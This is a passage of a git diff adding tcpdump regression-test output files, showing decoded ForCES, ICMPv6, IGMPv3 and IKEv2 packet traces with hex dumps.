+               0x00a0:  0000 000a 0000 0001 0000 000e 0000 000b
+               0x00b0:  0000 0001 0000 000f 0000 000c 0000 0001
+               0x00c0:  0000 0010 0000 000d 0000 0001 0000 0011
+               0x00d0:  0000 000e 0000 0001 0000 0012 0000 000f
+               0x00e0:  0000 0001 0000 0013 0000 0010 0000 0001
+               0x00f0:  0000 0014 0000 0011 0000 0001 0000 0015
+               0x0100:  0000 0012 0000 0001 0000 0016 0000 0013
+               0x0110:  0000 0001
+               ]
+
+	  Raw ForCES message
+	 [
+	 0x0000:  1014 0053 0000 0002 4000 0001 0000 0000
+	 0x0010:  0000 0001 3840 0000 1000 0134 0000 0001
+	 0x0020:  0000 0001 0009 0128 0110 0124 0000 0001
+	 0x0030:  0000 0002 0112 0118 0000 0000 0000 0001
+	 0x0040:  0000 0001 0000 0001 0000 0002 0000 0001
+	 0x0050:  0000 0002 0000 0003 0000 0001 0000 0003
+	 0x0060:  0000 0003 0000 0002 0000 0004 0000 0004
+	 0x0070:  0000 0001 0000 0005 0000 0004 0000 0002
+	 0x0080:  0000 0006 0000 0005 0000 0001 0000 0007
+	 0x0090:  0000 0005 0000 0002 0000 0008 0000 0006
+	 0x00a0:  0000 0001 0000 0009 0000 0007 0000 0001
+	 0x00b0:  0000 000a 0000 0007 0000 0002 0000 000b
+	 0x00c0:  0000 0008 0000 0001 0000 000c 0000 0009
+	 0x00d0:  0000 0001 0000 000d 0000 000a 0000 0001
+	 0x00e0:  0000 000e 0000 000b 0000 0001 0000 000f
+	 0x00f0:  0000 000c 0000 0001 0000 0010 0000 000d
+	 0x0100:  0000 0001 0000 0011 0000 000e 0000 0001
+	 0x0110:  0000 0012 0000 000f 0000 0001 0000 0013
+	 0x0120:  0000 0010 0000 0001 0000 0014 0000 0011
+	 0x0130:  0000 0001 0000 0015 0000 0012 0000 0001
+	 0x0140:  0000 0016 0000 0013 0000 0001
+	 ]
+
+IP (tos 0x0, ttl 46, id 0, offset 0, flags [DF], proto SCTP (132), length 72)
+    211.129.72.8.6706 > 150.140.254.202.48316: sctp[ForCES LP]
+	1) [DATA] (B)(E) [TSN: 18398476] [SID: 0] [SSEQ 0] [PPID 0x0] 
+	ForCES HeartBeat 
+	ForCES Version 1 len 24B flags 0xc0400000 
+	SrcID 0x40000001(CE) DstID 0x2(FE) Correlator 0x2
+	ForCES flags:
+	  AlwaysACK(0x3), prio=0, execute-all-or-none(0x1),
+	  Standalone(0x0), StartofTransaction(0x0)
+	  Extra flags: rsv(b5-7) 0x0 rsv(b13-31) 0x0
+
+	  Raw ForCES message
+	 [
+	 0x0000:  100f 0006 4000 0001 0000 0002 0000 0000
+	 0x0010:  0000 0002 c040 0000
+	 ]
+
+IP (tos 0x2,ECT(0), ttl 64, id 1, offset 0, flags [DF], proto SCTP (132), length 48)
+    150.140.254.202.48316 > 211.129.72.8.6706: sctp[ForCES LP]
+	1) [SACK] [cum ack 18398476] [a_rwnd 57320] [#gap acks 0] [#dup tsns 0] 
+IP (tos 0x0, ttl 46, id 3, offset 0, flags [DF], proto SCTP (132), length 100)
+    211.129.72.8.6704 > 150.140.254.202.57077: sctp[ForCES HP]
+	1) [DATA] (B)(E) [TSN: 167996938] [SID: 0] [SSEQ 2] [PPID 0x0] 
+	ForCES Query 
+	ForCES Version 1 len 52B flags 0xf8400000 
+	SrcID 0x40000001(CE) DstID 0x2(FE) Correlator 0x3
+	ForCES flags:
+	  AlwaysACK(0x3), prio=7, execute-all-or-none(0x1),
+	  Standalone(0x0), StartofTransaction(0x0)
+	  Extra flags: rsv(b5-7) 0x0 rsv(b13-31) 0x0
+	LFBselect TLV, length 28 (data length 24 Bytes)
+         FEObj LFB(Classid 1) instance 1
+          Oper TLV  Get(0x7) length 16
+           PATH-DATA TLV, length 12 (data encapsulated 8 Bytes)
+            Pathdata: Flags 0x0 ID count 1
+              ID#01: 1
+
+	  Raw ForCES message
+	 [
+	 0x0000:  1004 000d 4000 0001 0000 0002 0000 0000
+	 0x0010:  0000 0003 f840 0000 1000 001c 0000 0001
+	 0x0020:  0000 0001 0007 0010 0110 000c 0000 0001
+	 0x0030:  0000 0001
+	 ]
+
+IP (tos 0x0, ttl 46, id 4, offset 0, flags [DF], proto SCTP (132), length 112)
+    211.129.72.8.6704 > 150.140.254.202.57077: sctp[ForCES HP]
+	1) [DATA] (B)(E) [TSN: 167996939] [SID: 0] [SSEQ 3] [PPID 0x0] 
+	ForCES Config 
+	ForCES Version 1 len 64B flags 0xf8400000 
+	SrcID 0x40000001(CE) DstID 0x2(FE) Correlator 0x4
+	ForCES flags:
+	  AlwaysACK(0x3), prio=7, execute-all-or-none(0x1),
+	  Standalone(0x0), StartofTransaction(0x0)
+	  Extra flags: rsv(b5-7) 0x0 rsv(b13-31) 0x0
+	LFBselect TLV, length 40 (data length 36 Bytes)
+         #3(Classid 3) instance 1
+          Oper TLV  SetProp(0x2) length 28
+           PATH-DATA TLV, length 24 (data encapsulated 20 Bytes)
+            Pathdata: Flags 0x0 ID count 2
+              ID#01: 60
+              ID#02: 1
+              FULLDATA TLV (Length 8 DataLen 4 Bytes)
+               [
+               0x0000:  0000 0001
+               ]
+
+	  Raw ForCES message
+	 [
+	 0x0000:  1003 0010 4000 0001 0000 0002 0000 0000
+	 0x0010:  0000 0004 f840 0000 1000 0028 0000 0003
+	 0x0020:  0000 0001 0002 001c 0110 0018 0000 0002
+	 0x0030:  0000 003c 0000 0001 0112 0008 0000 0001
+	 ]
+
+IP (tos 0x2,ECT(0), ttl 64, id 5, offset 0, flags [DF], proto SCTP (132), length 48)
+    150.140.254.202.57077 > 211.129.72.8.6704: sctp[ForCES HP]
+	1) [SACK] [cum ack 167996939] [a_rwnd 57228] [#gap acks 0] [#dup tsns 0] 
+IP (tos 0x0, ttl 46, id 5, offset 0, flags [DF], proto SCTP (132), length 112)
+    211.129.72.8.6704 > 150.140.254.202.57077: sctp[ForCES HP]
+	1) [DATA] (B)(E) [TSN: 167996940] [SID: 0] [SSEQ 4] [PPID 0x0] 
+	ForCES Config 
+	ForCES Version 1 len 64B flags 0xf8400000 
+	SrcID 0x40000001(CE) DstID 0x2(FE) Correlator 0x5
+	ForCES flags:
+	  AlwaysACK(0x3), prio=7, execute-all-or-none(0x1),
+	  Standalone(0x0), StartofTransaction(0x0)
+	  Extra flags: rsv(b5-7) 0x0 rsv(b13-31) 0x0
+	LFBselect TLV, length 40 (data length 36 Bytes)
+         #3(Classid 3) instance 1
+          Oper TLV  SetProp(0x2) length 28
+           PATH-DATA TLV, length 24 (data encapsulated 20 Bytes)
+            Pathdata: Flags 0x0 ID count 2
+              ID#01: 60
+              ID#02: 2
+              FULLDATA TLV (Length 8 DataLen 4 Bytes)
+               [
+               0x0000:  0000 0001
+               ]
+
+	  Raw ForCES message
+	 [
+	 0x0000:  1003 0010 4000 0001 0000 0002 0000 0000
+	 0x0010:  0000 0005 f840 0000 1000 0028 0000 0003
+	 0x0020:  0000 0001 0002 001c 0110 0018 0000 0002
+	 0x0030:  0000 003c 0000 0002 0112 0008 0000 0001
+	 ]
+
+IP (tos 0x0, ttl 46, id 6, offset 0, flags [DF], proto SCTP (132), length 112)
+    211.129.72.8.6704 > 150.140.254.202.57077: sctp[ForCES HP]
+	1) [DATA] (B)(E) [TSN: 167996941] [SID: 0] [SSEQ 5] [PPID 0x0] 
+	ForCES Config 
+	ForCES Version 1 len 64B flags 0xf8400000 
+	SrcID 0x40000001(CE) DstID 0x2(FE) Correlator 0x6
+	ForCES flags:
+	  AlwaysACK(0x3), prio=7, execute-all-or-none(0x1),
+	  Standalone(0x0), StartofTransaction(0x0)
+	  Extra flags: rsv(b5-7) 0x0 rsv(b13-31) 0x0
+	LFBselect TLV, length 40 (data length 36 Bytes)
+         #3(Classid 3) instance 1
+          Oper TLV  SetProp(0x2) length 28
+           PATH-DATA TLV, length 24 (data encapsulated 20 Bytes)
+            Pathdata: Flags 0x0 ID count 2
+              ID#01: 60
+              ID#02: 3
+              FULLDATA TLV (Length 8 DataLen 4 Bytes)
+               [
+               0x0000:  0000 0001
+               ]
+
+	  Raw ForCES message
+	 [
+	 0x0000:  1003 0010 4000 0001 0000 0002 0000 0000
+	 0x0010:  0000 0006 f840 0000 1000 0028 0000 0003
+	 0x0020:  0000 0001 0002 001c 0110 0018 0000 0002
+	 0x0030:  0000 003c 0000 0003 0112 0008 0000 0001
+	 ]
+
+IP (tos 0x2,ECT(0), ttl 64, id 6, offset 0, flags [DF], proto SCTP (132), length 48)
+    150.140.254.202.57077 > 211.129.72.8.6704: sctp[ForCES HP]
+	1) [SACK] [cum ack 167996941] [a_rwnd 57100] [#gap acks 0] [#dup tsns 0] 
+IP (tos 0x0, ttl 46, id 7, offset 0, flags [DF], proto SCTP (132), length 112)
+    211.129.72.8.6704 > 150.140.254.202.57077: sctp[ForCES HP]
+	1) [DATA] (B)(E) [TSN: 167996942] [SID: 0] [SSEQ 6] [PPID 0x0] 
+	ForCES Config 
+	ForCES Version 1 len 64B flags 0xf8400000 
+	SrcID 0x40000001(CE) DstID 0x2(FE) Correlator 0x7
+	ForCES flags:
+	  AlwaysACK(0x3), prio=7, execute-all-or-none(0x1),
+	  Standalone(0x0), StartofTransaction(0x0)
+	  Extra flags: rsv(b5-7) 0x0 rsv(b13-31) 0x0
+	LFBselect TLV, length 40 (data length 36 Bytes)
+         #3(Classid 3) instance 2
+          Oper TLV  SetProp(0x2) length 28
+           PATH-DATA TLV, length 24 (data encapsulated 20 Bytes)
+            Pathdata: Flags 0x0 ID count 2
+              ID#01: 60
+              ID#02: 1
+              FULLDATA TLV (Length 8 DataLen 4 Bytes)
+               [
+               0x0000:  0000 0001
+               ]
+
+	  Raw ForCES message
+	 [
+	 0x0000:  1003 0010 4000 0001 0000 0002 0000 0000
+	 0x0010:  0000 0007 f840 0000 1000 0028 0000 0003
+	 0x0020:  0000 0002 0002 001c 0110 0018 0000 0002
+	 0x0030:  0000 003c 0000 0001 0112 0008 0000 0001
+	 ]
+
+IP (tos 0x0, ttl 46, id 110, offset 0, flags [DF], proto SCTP (132), length 48)
+    211.129.72.8.6706 > 150.140.254.202.48316: sctp[ForCES LP]
+	1) [SACK] [cum ack 1830592459] [a_rwnd 55272] [#gap acks 0] [#dup tsns 0] 
+IP (tos 0x2,ECT(0), ttl 64, id 90, offset 0, flags [DF], proto SCTP (132), length 80)
+    150.140.254.202.57077 > 211.129.72.8.6704: sctp[ForCES HP]
+	1) [HB REQ] 
+IP (tos 0x0, ttl 46, id 111, offset 0, flags [DF], proto SCTP (132), length 80)
+    211.129.72.8.6704 > 150.140.254.202.57077: sctp[ForCES HP]
+	1) [HB REQ] 
+IP (tos 0x2,ECT(0), ttl 64, id 91, offset 0, flags [DF], proto SCTP (132), length 80)
+    150.140.254.202.57077 > 211.129.72.8.6704: sctp[ForCES HP]
+	1) [HB ACK] 
+IP (tos 0x2,ECT(0), ttl 64, id 111, offset 0, flags [DF], proto SCTP (132), length 72)
+    150.140.254.202.48316 > 211.129.72.8.6706: sctp[ForCES LP]
+	1) [DATA] (B)(E) [TSN: 1830592460] [SID: 0] [SSEQ 30] [PPID 0x0] 
+	ForCES HeartBeat 
+	ForCES Version 1 len 24B flags 0x00000000 
+	SrcID 0x2(FE) DstID 0x40000001(CE) Correlator 0x53
+	ForCES flags:
+	  NoACK(0x0), prio=0, EMReserved(0x0),
+	  Standalone(0x0), StartofTransaction(0x0)
+	  Extra flags: rsv(b5-7) 0x0 rsv(b13-31) 0x0
+
+	  Raw ForCES message
+	 [
+	 0x0000:  100f 0006 0000 0002 4000 0001 0000 0000
+	 0x0010:  0000 0053 0000 0000
+	 ]
+
+IP (tos 0x0, ttl 46, id 112, offset 0, flags [DF], proto SCTP (132), length 80)
+    211.129.72.8.6704 > 150.140.254.202.57077: sctp[ForCES HP]
+	1) [HB ACK] 
+IP (tos 0x0, ttl 46, id 111, offset 0, flags [DF], proto SCTP (132), length 72)
+    211.129.72.8.6706 > 150.140.254.202.48316: sctp[ForCES LP]
+	1) [DATA] (B)(E) [TSN: 18398553] [SID: 0] [SSEQ 77] [PPID 0x0] 
+	ForCES HeartBeat 
+	ForCES Version 1 len 24B flags 0xc0400000 
+	SrcID 0x40000001(CE) DstID 0x2(FE) Correlator 0x83
+	ForCES flags:
+	  AlwaysACK(0x3), prio=0, execute-all-or-none(0x1),
+	  Standalone(0x0), StartofTransaction(0x0)
+	  Extra flags: rsv(b5-7) 0x0 rsv(b13-31) 0x0
+
+	  Raw ForCES message
+	 [
+	 0x0000:  100f 0006 4000 0001 0000 0002 0000 0000
+	 0x0010:  0000 0083 c040 0000
+	 ]
+
+IP (tos 0x0, ttl 46, id 148, offset 0, flags [DF], proto SCTP (132), length 72)
+    211.129.72.8.6706 > 150.140.254.202.48316: sctp[ForCES LP]
+	1) [DATA] (B)(E) [TSN: 18398573] [SID: 0] [SSEQ 97] [PPID 0x0] 
+	ForCES HeartBeat 
+	ForCES Version 1 len 24B flags 0xc0400000 
+	SrcID 0x40000001(CE) DstID 0x2(FE) Correlator 0x97
+	ForCES flags:
+	  AlwaysACK(0x3), prio=0, execute-all-or-none(0x1),
+	  Standalone(0x0), StartofTransaction(0x0)
+	  Extra flags: rsv(b5-7) 0x0 rsv(b13-31) 0x0
+
+	  Raw ForCES message
+	 [
+	 0x0000:  100f 0006 4000 0001 0000 0002 0000 0000
+	 0x0010:  0000 0097 c040 0000
+	 ]
+
+IP (tos 0x0, ttl 46, id 149, offset 0, flags [DF], proto SCTP (132), length 48)
+    211.129.72.8.6706 > 150.140.254.202.48316: sctp[ForCES LP]
+	1) [SACK] [cum ack 1830592477] [a_rwnd 55272] [#gap acks 0] [#dup tsns 0] 
+IP (tos 0x2,ECT(0), ttl 64, id 147, offset 0, flags [DF], proto SCTP (132), length 48)
+    150.140.254.202.48316 > 211.129.72.8.6706: sctp[ForCES LP]
+	1) [SACK] [cum ack 18398573] [a_rwnd 56144] [#gap acks 0] [#dup tsns 0] 
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/icmpv6.out b/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/icmpv6.out
new file mode 100644
index 0000000000000000000000000000000000000000..80667e20b95c9a8c88e11c7211a452b8ff146066
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/icmpv6.out
@@ -0,0 +1,43 @@
+b0:99:28:c8:d6:6c > 33:33:00:00:00:01, ethertype IPv6 (0x86dd), length 230: 
+	0x0000:  6000 0000 00b0 3aff fe80 0000 0000 0000  `.....:.........
+	0x0010:  b299 28ff fec8 d66c ff02 0000 0000 0000  ..(....l........
+	0x0020:  0000 0000 0000 0001 8600 2401 4020 000f  ..........$.@...
+	0x0030:  0000 0000 0000 0000 0304 48c0 0027 8d00  ..........H..'..
+	0x0040:  0009 3a80 0000 0000 2222 3333 4444 5555  ..:.....""33DDUU
+	0x0050:  6600 0000 0000 0000 1905 0000 0000 0005  f...............
+	0x0060:  abcd 0000 0000 0000 0000 0000 0000 efef  ................
+	0x0070:  1234 5678 0000 0000 0000 0000 0000 0001  .4Vx............
+	0x0080:  1f07 0000 0000 0005 0765 7861 6d70 6c65  .........example
+	0x0090:  0363 6f6d 0007 6578 616d 706c 6503 6f72  .com..example.or
+	0x00a0:  6700 0464 6f6d 3104 646f 6d32 0374 6c64  g..dom1.dom2.tld
+	0x00b0:  0000 0000 0000 0000 0501 0000 0000 0064  ...............d
+	0x00c0:  0101 b099 28c8 d66c 0701 0000 0000 1388  ....(..l........
+	0x00d0:  0801 0000 c351 000f                      .....Q..
+00:15:17:cc:e5:46 > 33:33:00:00:00:16, ethertype IPv6 (0x86dd), length 90: 
+	0x0000:  6000 0000 0024 0001 fe80 0000 0000 0000  `....$..........
+	0x0010:  0215 17ff fecc e546 ff02 0000 0000 0000  .......F........
+	0x0020:  0000 0000 0000 0016 3a00 0502 0000 0100  ........:.......
+	0x0030:  8f00 1fc5 0000 0001 0400 0000 ff02 0000  ................
+	0x0040:  0000 0000 0000 0db8 1122 3344            ........."3D
+b0:a8:6e:0c:d4:e8 > 33:33:00:00:00:01, ethertype IPv6 (0x86dd), length 90: 
+	0x0000:  6000 0000 0024 0001 fe80 0000 0000 0000  `....$..........
+	0x0010:  b2a8 6eff fe0c d4e8 ff02 0000 0000 0000  ..n.............
+	0x0020:  0000 0000 0000 0001 3a00 0502 0000 0100  ........:.......
+	0x0030:  8200 623a 2710 0000 0000 0000 0000 0000  ..b:'...........
+	0x0040:  0000 0000 0000 0000 023c 0000            .........<..
+00:15:17:cc:e5:46 > 33:33:00:00:00:16, ethertype IPv6 (0x86dd), length 150: 
+	0x0000:  6000 0000 0060 0001 fe80 0000 0000 0000  `....`..........
+	0x0010:  0215 17ff fecc e546 ff02 0000 0000 0000  .......F........
+	0x0020:  0000 0000 0000 0016 3a00 0502 0000 0100  ........:.......
+	0x0030:  8f00 2a0e 0000 0004 0200 0000 ff02 0000  ..*.............
+	0x0040:  0000 0000 0000 0db8 1122 3344 0200 0000  ........."3D....
+	0x0050:  ff02 0000 0000 0000 0000 0001 ffcc e546  ...............F
+	0x0060:  0200 0000 ff02 0000 0000 0000 0000 0001  ................
+	0x0070:  ffa7 10ad 0200 0000 ff02 0000 0000 0000  ................
+	0x0080:  0000 0001 ff00 0002                      ........
+00:15:17:cc:e5:46 > 33:33:00:00:00:16, ethertype IPv6 (0x86dd), length 90: 
+	0x0000:  6000 0000 0024 0001 fe80 0000 0000 0000  `....$..........
+	0x0010:  0215 17ff fecc e546 ff02 0000 0000 0000  .......F........
+	0x0020:  0000 0000 0000 0016 3a00 0502 0000 0100  ........:.......
+	0x0030:  8f00 20c5 0000 0001 0300 0000 ff02 0000  ................
+	0x0040:  0000 0000 0000 0db8 1122 3344            ........."3D
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/igmpv3-queries.out b/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/igmpv3-queries.out
new file mode 100644
index 0000000000000000000000000000000000000000..9db6f9bf6b5082bd9d0039120c943732339f1cdb
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/igmpv3-queries.out
@@ -0,0 +1,6 @@
+IP 192.2.0.2 > 224.0.0.1: igmp query v3
+IP 192.2.0.2 > 224.0.0.1: igmp query v3 [max resp time 51m12s]
+IP 192.2.0.2 > 224.0.0.1: igmp query v3 [max resp time 51m12s]
+IP 192.2.0.2 > 224.0.0.1: igmp query v3 [max resp time 1.0s]
+IP 192.2.0.2 > 224.0.0.1: igmp query v3 [max resp time 1.0s]
+IP 192.2.0.2 > 224.0.0.1: igmp query v3 [max resp time 1.0s]
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/ikev2four.out b/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/ikev2four.out
new file mode 100644
index 0000000000000000000000000000000000000000..db2e8ef09fd874d25ab233a712dd70cffc2d8caa
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/ikev2four.out
@@ -0,0 +1,107 @@
+IP (tos 0x0, ttl 64, id 19908, offset 0, flags [none], proto UDP (17), length 404)
+    192.168.1.2.500 > 192.168.1.1.500: isakmp 2.0 msgid 00000000: parent_sa ikev2_init[I]:
+    (sa: len=116
+        (p: #1 protoid=isakmp transform=12 len=116
+            (t: #1 type=encr id=aes (type=keylen value=0080))
+            (t: #2 type=encr id=aes (type=keylen value=0100))
+            (t: #3 type=encr id=aes (type=keylen value=00c0))
+            (t: #4 type=encr id=3des )
+            (t: #5 type=prf id=hmac-sha )
+            (t: #6 type=prf id=hmac-md5 )
+            (t: #7 type=prf id=aes128_xcbc )
+            (t: #8 type=integ id=hmac-sha )
+            (t: #9 type=integ id=hmac-md5 )
+            (t: #10 type=integ id=aes-xcbc )
+            (t: #11 type=dh id=modp1024 )
+            (t: #12 type=dh id=modp2048 )))
+    (v2ke: len=128 group=modp1024)
+    (nonce: len=32 data=(6128ebd023a864e94a7f...ba041b5de59955900d818ac54e18b236739d9e8b))
+    (n: prot_id=#0 type=16388(nat_detection_source_ip))
+    (n: prot_id=#0 type=16389(nat_detection_destination_ip))
+IP (tos 0x0, ttl 64, id 19909, offset 0, flags [none], proto UDP (17), length 88)
+    192.168.1.1.500 > 192.168.1.2.500: isakmp 2.0 msgid 00000000: parent_sa ikev2_init[R]:
+    (n: prot_id=#0 type=16390(cookie) data=(00000001c2221e50c16e123f2b0c71aefcf0cb3b798782c6))
+IP (tos 0x0, ttl 64, id 19910, offset 0, flags [none], proto UDP (17), length 436)
+    192.168.1.2.500 > 192.168.1.1.500: isakmp 2.0 msgid 00000000: parent_sa ikev2_init[I]:
+    (n: prot_id=#0 type=16390(cookie) data=(00000001c2221e50c16e...ba041b5de59955900d818ac54e18b236739d9e8b))
+    (sa: len=116
+        (p: #1 protoid=isakmp transform=12 len=116
+            (t: #1 type=encr id=aes (type=keylen value=0080))
+            (t: #2 type=encr id=aes (type=keylen value=0100))
+            (t: #3 type=encr id=aes (type=keylen value=00c0))
+            (t: #4 type=encr id=3des )
+            (t: #5 type=prf id=hmac-sha )
+            (t: #6 type=prf id=hmac-md5 )
+            (t: #7 type=prf id=aes128_xcbc )
+            (t: #8 type=integ id=hmac-sha )
+            (t: #9 type=integ id=hmac-md5 )
+            (t: #10 type=integ id=aes-xcbc )
+            (t: #11 type=dh id=modp1024 )
+            (t: #12 type=dh id=modp2048 )))
+    (v2ke: len=128 group=modp1024)
+    (nonce: len=32 data=(6128ebd023a864e94a7f...ba041b5de59955900d818ac54e18b236739d9e8b))
+    (n: prot_id=#0 type=16388(nat_detection_source_ip))
+    (n: prot_id=#0 type=16389(nat_detection_destination_ip))
+IP (tos 0x0, ttl 64, id 19911, offset 0, flags [none], proto UDP (17), length 332)
+    192.168.1.1.500 > 192.168.1.2.500: isakmp 2.0 msgid 00000000: parent_sa ikev2_init[R]:
+    (sa: len=44
+        (p: #1 protoid=isakmp transform=4 len=44
+            (t: #1 type=encr id=aes (type=keylen value=0080))
+            (t: #2 type=prf id=hmac-sha )
+            (t: #3 type=integ id=hmac-sha )
+            (t: #4 type=dh id=modp1024 )))
+    (v2ke: len=128 group=modp1024)
+    (nonce: len=32 data=(b31c379f272ce2984bd1...905954a783be2c37e2ccc4fdd270a532dbe6f428))
+    (n: prot_id=#0 type=16388(nat_detection_source_ip))
+    (n: prot_id=#0 type=16389(nat_detection_destination_ip))
+IP (tos 0x0, ttl 64, id 19912, offset 0, flags [none], proto UDP (17), length 264)
+    192.168.1.2.500 > 192.168.1.1.500: isakmp 2.0 msgid 00000001: child_sa  ikev2_auth[I]:
+    (v2e: len=204)
+IP (tos 0x0, ttl 64, id 19913, offset 0, flags [none], proto UDP (17), length 184)
+    192.168.1.1.500 > 192.168.1.2.500: isakmp 2.0 msgid 00000001: child_sa  ikev2_auth[R]:
+    (v2e: len=124)
+IP (tos 0x0, ttl 64, id 19914, offset 0, flags [none], proto UDP (17), length 280)
+    192.168.1.2.500 > 192.168.1.1.500: isakmp 2.0 msgid 00000002: child_sa  child_sa[I]:
+    (v2e: len=220)
+IP (tos 0x0, ttl 64, id 19915, offset 0, flags [none], proto UDP (17), length 248)
+    192.168.1.2.500 > 192.168.1.1.500: isakmp 2.0 msgid 00000003: child_sa  child_sa[I]:
+    (v2e: len=188)
+IP (tos 0x0, ttl 64, id 19916, offset 0, flags [none], proto UDP (17), length 104)
+    192.168.1.1.500 > 192.168.1.2.500: isakmp 2.0 msgid 00000002: child_sa  child_sa[R]:
+    (v2e: len=44)
+IP (tos 0x0, ttl 64, id 19917, offset 0, flags [none], proto UDP (17), length 104)
+    192.168.1.1.500 > 192.168.1.2.500: isakmp 2.0 msgid 00000003: child_sa  child_sa[R]:
+    (v2e: len=44)
+IP (tos 0x0, ttl 64, id 19918, offset 0, flags [none], proto UDP (17), length 312)
+    192.168.1.2.500 > 192.168.1.1.500: isakmp 2.0 msgid 00000004: child_sa  child_sa[I]:
+    (v2e: len=252)
+IP (tos 0x0, ttl 64, id 19919, offset 0, flags [none], proto UDP (17), length 280)
+    192.168.1.2.500 > 192.168.1.1.500: isakmp 2.0 msgid 00000005: child_sa  child_sa[I]:
+    (v2e: len=220)
+IP (tos 0x0, ttl 64, id 19920, offset 0, flags [none], proto UDP (17), length 232)
+    192.168.1.1.500 > 192.168.1.2.500: isakmp 2.0 msgid 00000004: child_sa  child_sa[R]:
+    (v2e: len=172)
+IP (tos 0x0, ttl 64, id 19921, offset 0, flags [none], proto UDP (17), length 232)
+    192.168.1.1.500 > 192.168.1.2.500: isakmp 2.0 msgid 00000005: child_sa  child_sa[R]:
+    (v2e: len=172)
+IP (tos 0x0, ttl 64, id 19922, offset 0, flags [none], proto UDP (17), length 312)
+    192.168.1.2.500 > 192.168.1.1.500: isakmp 2.0 msgid 00000006: child_sa  child_sa[I]:
+    (v2e: len=252)
+IP (tos 0x0, ttl 64, id 19923, offset 0, flags [none], proto UDP (17), length 280)
+    192.168.1.2.500 > 192.168.1.1.500: isakmp 2.0 msgid 00000007: child_sa  child_sa[I]:
+    (v2e: len=220)
+IP (tos 0x0, ttl 64, id 19924, offset 0, flags [none], proto UDP (17), length 232)
+    192.168.1.1.500 > 192.168.1.2.500: isakmp 2.0 msgid 00000006: child_sa  child_sa[R]:
+    (v2e: len=172)
+IP (tos 0x0, ttl 64, id 19925, offset 0, flags [none], proto UDP (17), length 232)
+    192.168.1.1.500 > 192.168.1.2.500: isakmp 2.0 msgid 00000007: child_sa  child_sa[R]:
+    (v2e: len=172)
+IP (tos 0x0, ttl 64, id 19926, offset 0, flags [none], proto UDP (17), length 392)
+    192.168.1.2.500 > 192.168.1.1.500: isakmp 2.0 msgid 00000008: child_sa  child_sa[I]:
+    (v2e: len=332)
+IP (tos 0x0, ttl 64, id 19927, offset 0, flags [none], proto UDP (17), length 344)
+    192.168.1.1.500 > 192.168.1.2.500: isakmp 2.0 msgid 00000008: child_sa  child_sa[R]:
+    (v2e: len=284)
+IP (tos 0x0, ttl 64, id 19928, offset 0, flags [none], proto UDP (17), length 120)
+    192.168.1.2.500 > 192.168.1.1.500: isakmp 2.0 msgid 00000000: parent_sa inf2[I]:
+    (v2e: len=60)
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/ikev2fourv.out b/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/ikev2fourv.out
new file mode 100644
index 0000000000000000000000000000000000000000..15c482fbd0bbdd6deea3bbd9ea23a365e6626670
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/ikev2fourv.out
@@ -0,0 +1,107 @@
+IP (tos 0x0, ttl 64, id 19908, offset 0, flags [none], proto UDP (17), length 404)
+    192.168.1.2.500 > 192.168.1.1.500: [bad udp cksum 0x0765 -> 0xf5df!] isakmp 2.0 msgid 00000000 cookie a88875a8198992a6->0000000000000000: parent_sa ikev2_init[I]:
+    (sa: len=116
+        (p: #1 protoid=isakmp transform=12 len=116
+            (t: #1 type=encr id=aes (type=keylen value=0080))
+            (t: #2 type=encr id=aes (type=keylen value=0100))
+            (t: #3 type=encr id=aes (type=keylen value=00c0))
+            (t: #4 type=encr id=3des )
+            (t: #5 type=prf id=hmac-sha )
+            (t: #6 type=prf id=hmac-md5 )
+            (t: #7 type=prf id=aes128_xcbc )
+            (t: #8 type=integ id=hmac-sha )
+            (t: #9 type=integ id=hmac-md5 )
+            (t: #10 type=integ id=aes-xcbc )
+            (t: #11 type=dh id=modp1024 )
+            (t: #12 type=dh id=modp2048 )))
+    (v2ke: len=128 group=modp1024 b5445bd60cece6fdcd3c96a52cbb7bb426a8c7a0f56a9c38d1b1c4f0c3a6e8e7dba5c7339b6ed02e757119dfb5b6933ce93b604987fbbc77221b2a0c7cdd32787eff10572bef546c361462f9da34847969a42e51c755996beac42e6fba961a75de0fc1b23f099380896ee89202122dedac1bd54aa8494ac3d740be4d2a4cf39d)
+    (nonce: len=32 nonce=(6128ebd023a864e94a7ffb74bf7cce2fd4367322b8b073f942282bd52ebfe3e6) )
+    (n: prot_id=#0 type=16388(nat_detection_source_ip))
+    (n: prot_id=#0 type=16389(nat_detection_destination_ip))
+IP (tos 0x0, ttl 64, id 19909, offset 0, flags [none], proto UDP (17), length 88)
+    192.168.1.1.500 > 192.168.1.2.500: [bad udp cksum 0x0629 -> 0x0cd0!] isakmp 2.0 msgid 00000000 cookie a88875a8198992a6->0000000000000000: parent_sa ikev2_init[R]:
+    (n: prot_id=#0 type=16390(cookie) data=(00000001c2221e50c16e123f2b0c71aefcf0cb3b798782c6))
+IP (tos 0x0, ttl 64, id 19910, offset 0, flags [none], proto UDP (17), length 436)
+    192.168.1.2.500 > 192.168.1.1.500: [bad udp cksum 0x0785 -> 0x7702!] isakmp 2.0 msgid 00000000 cookie a88875a8198992a6->0000000000000000: parent_sa ikev2_init[I]:
+    (n: prot_id=#0 type=16390(cookie) data=(00000001c2221e50c16e...ba041b5de59955900d818ac54e18b236739d9e8b))
+    (sa: len=116
+        (p: #1 protoid=isakmp transform=12 len=116
+            (t: #1 type=encr id=aes (type=keylen value=0080))
+            (t: #2 type=encr id=aes (type=keylen value=0100))
+            (t: #3 type=encr id=aes (type=keylen value=00c0))
+            (t: #4 type=encr id=3des )
+            (t: #5 type=prf id=hmac-sha )
+            (t: #6 type=prf id=hmac-md5 )
+            (t: #7 type=prf id=aes128_xcbc )
+            (t: #8 type=integ id=hmac-sha )
+            (t: #9 type=integ id=hmac-md5 )
+            (t: #10 type=integ id=aes-xcbc )
+            (t: #11 type=dh id=modp1024 )
+            (t: #12 type=dh id=modp2048 )))
